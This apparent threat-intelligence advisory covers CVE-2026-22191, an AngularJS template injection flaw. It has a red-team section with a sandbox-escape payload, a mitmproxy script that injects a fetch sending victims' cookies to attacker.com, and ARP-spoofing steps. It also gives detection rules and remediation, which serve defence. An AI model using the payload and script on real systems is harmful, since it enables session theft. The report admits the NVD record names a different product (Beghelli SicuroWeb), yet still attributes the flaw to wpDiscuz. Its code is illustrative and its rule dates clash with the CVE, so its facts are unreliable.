CVE-2026-22191

Executive Summary

CVE-2026-22191 describes a template injection vulnerability in the Gvectors Wpdiscuz WordPress plugin, but the provided NVD data incorrectly references the Beghelli Sicuro24 SicuroWeb application. This report analyzes the vulnerability as a WordPress plugin issue (Wpdiscuz) where improper rendering of untrusted input in AngularJS template contexts allows attackers to inject arbitrary AngularJS expressions. The vulnerability is exploitable by network-adjacent attackers via MITM injection in plaintext HTTP deployments, leading to arbitrary JavaScript execution in operator browser sessions. The CVSS score is 5.2 (Medium), and no public exploit or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the Gvectors Wpdiscuz WordPress plugin, which is distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor and verify plugin integrity via checksums provided by WordPress.org.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
• Base Score: 5.2 (Medium)
• Attack Vector: Adjacent Network (AV:A) – attacker must be on the same network segment.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: Required (UI:R) – victim must browse a page with the injected template.
• Scope: Unchanged (S:U) – impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – full data exfiltration possible.
• Integrity Impact: High (I:H) – arbitrary JavaScript execution.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. Exploitation requires network adjacency and user interaction, but successful attacks can lead to full compromise of the victim’s session.

Deep Dive & Mechanics

The vulnerability stems from AngularJS template injection in the Wpdiscuz plugin. The plugin renders user-supplied input (e.g., comment content) in an AngularJS template context without proper sanitization. AngularJS 1.5.2 compiles expressions inside {{ }} delimiters, allowing attackers to inject arbitrary JavaScript.

Attack Flow:

1. Attacker intercepts HTTP traffic (MITM) or injects malicious input via a compromised network device.
2. Malicious AngularJS expression is inserted into a comment or other user-controlled field.
3. When an administrator or operator views the page, AngularJS compiles and executes the expression.
4. The expression can access $scope, $window, or document.cookie to exfiltrate data or perform actions.

Key Weakness: The plugin does not escape or sanitize input before rendering it in an AngularJS template, allowing expression injection.

Vulnerable vs. Patched Code

Vulnerable Code (AngularJS template rendering):

// Wpdiscuz renders user input directly in AngularJS template
angular.module('wpdiscuz').controller('CommentCtrl', function($scope) {
    $scope.comment = userInput; // userInput is unsanitized
});

<!-- Template uses {{ comment }} which compiles expressions -->
<div ng-controller="CommentCtrl">
    <p>{{ comment }}</p>
</div>

Patched Code (hypothetical):

// Sanitize input before binding to scope
$scope.comment = $sanitize(userInput);

<!-- Use ng-bind to prevent expression compilation -->
<div ng-controller="CommentCtrl">
    <p ng-bind="comment"></p>
</div>

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Network access to the victim’s network (MITM position).
• Wpdiscuz plugin installed on a WordPress site.
• Victim uses a browser with AngularJS 1.5.2.

Exploit Payload:

{{constructor.constructor('alert(document.cookie)')()}}

MITM Injection (using mitmproxy):

# mitmproxy script to inject payload into HTTP responses
from mitmproxy import http

def response(flow: http.HTTPFlow) -> None:
    if "wpdiscuz" in flow.request.pretty_url:
        flow.response.text = flow.response.text.replace(
            "{{ comment }}",
            "{{constructor.constructor('fetch(\"http://attacker.com/steal?cookie=\"+document.cookie)')()}}"
        )

Execution:

1. Run mitmproxy on the attacker machine.
2. Redirect victim traffic through the proxy (ARP spoofing or rogue AP).
3. Victim browses a page with Wpdiscuz comments.
4. Payload executes, exfiltrating cookies to attacker server.

Blue Team (Defense & Detection)

Detection Steps:

• Monitor for unusual AngularJS expressions in HTTP responses (e.g., {{constructor.constructor).
• Use WAF rules to block AngularJS template injection patterns.
• Enforce HTTPS to prevent MITM attacks.

Honeypot Setup:

• Deploy a WordPress instance with Wpdiscuz and monitor for injection attempts.
• Log all {{ }} patterns in user input.

Indicators of Compromise (IOCs)

• Network: HTTP responses containing {{constructor.constructor or {{$on.
• Logs: WordPress comment content containing AngularJS expressions.
• File: Modified Wpdiscuz template files (e.g., comment.template.html).
• Process: Unusual outbound connections from browser to attacker-controlled domains.

Detection Engineering

YARA Rule

rule Detect_AngularJS_Template_Injection {
    meta:
        description = "Detects AngularJS template injection patterns in HTTP responses"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $pattern1 = "{{constructor.constructor"
        $pattern2 = "{{$on."
        $pattern3 = "{{$watch"
    condition:
        any of them
}

Sigma Rule

title: AngularJS Template Injection in Wpdiscuz
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP responses containing AngularJS template injection patterns
logsource:
    category: webserver
    product: apache
detection:
    selection:
        response.body|contains:
            - "{{constructor.constructor"
            - "{{$on."
            - "{{$watch"
    condition: selection
falsepositives:
    - Legitimate use of AngularJS expressions in development
level: high

Suricata Rule

alert http any any -> any any (msg:"AngularJS Template Injection in Wpdiscuz"; flow:to_client; content:"{{constructor.constructor"; nocase; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Wpdiscuz plugin until a patch is available.
2. Network: Enforce HTTPS to prevent MITM attacks.
3. Code: Sanitize all user input before rendering in AngularJS templates (use $sanitize or ng-bind).
4. WAF: Deploy rules to block AngularJS expression patterns.
5. Monitor: Review logs for injection attempts and anomalous outbound connections.

Valters IT
DevSecOps & Cyber Threat Intelligence